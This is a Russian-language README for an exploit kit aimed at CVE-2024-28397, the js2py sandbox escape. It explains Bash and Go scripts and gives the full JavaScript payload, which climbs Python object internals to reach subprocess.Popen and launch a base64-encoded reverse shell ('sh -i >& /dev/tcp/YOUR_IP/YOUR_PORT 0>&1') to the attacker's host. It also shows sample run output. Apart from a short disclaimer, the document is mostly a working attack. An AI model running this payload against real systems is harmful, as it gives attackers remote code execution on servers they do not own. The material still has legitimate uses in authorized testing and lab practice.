
Эксплойт-скрипты для CVE-2024-28397 — обход песочницы js2py, который выполняет произвольный код Python для запуска обратной оболочки на целевом узле.
Набор скриптов эксплойтов, нацеленных на уязвимость обхода песочницы js2py (CVE-2024-28397), которая позволяет выполнять произвольный код через интроспекцию объектов Python.
Библиотека js2py содержит критическую уязвимость обхода песочницы, которая позволяет злоумышленникам выполнять произвольный код Python, получая доступ к внутренним объектам Python через метод JavaScript Object.getOwnPropertyNames().
Этот эксплойт основан на всестороннем анализе от Marven11:
Этот репозиторий содержит три различные реализации:
exploit.sh)Легковесная реализация на Bash с использованием curl и jq.
exploit.go)Кроссплатформенная реализация на Go со встроенным HTTP-клиентом.
curl, jq, base64Все скрипты интерактивны и запросят необходимую информацию:
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
Каждый скрипт запросит:
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
Эксплойт динамически создает команду обратной оболочки:
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
Команда оболочки кодируется в base64 для безопасной передачи:
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
Основной эксплойт использует JavaScript для доступа к внутренним объектам Python:
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({})__class__.__base__.__getattribute__subprocess.PopenPopenЭти скрипты предоставляются только для образовательных и авторизованных целей тестирования. Всегда убедитесь, что у вас есть надлежащее разрешение перед тестированием на любых системах.
Это программное обеспечение предоставляется только для образовательных и авторизованных целей тестирования безопасности. Пользователи несут ответственность за соблюдение применимых законов и получение надлежащего разрешения перед использованием.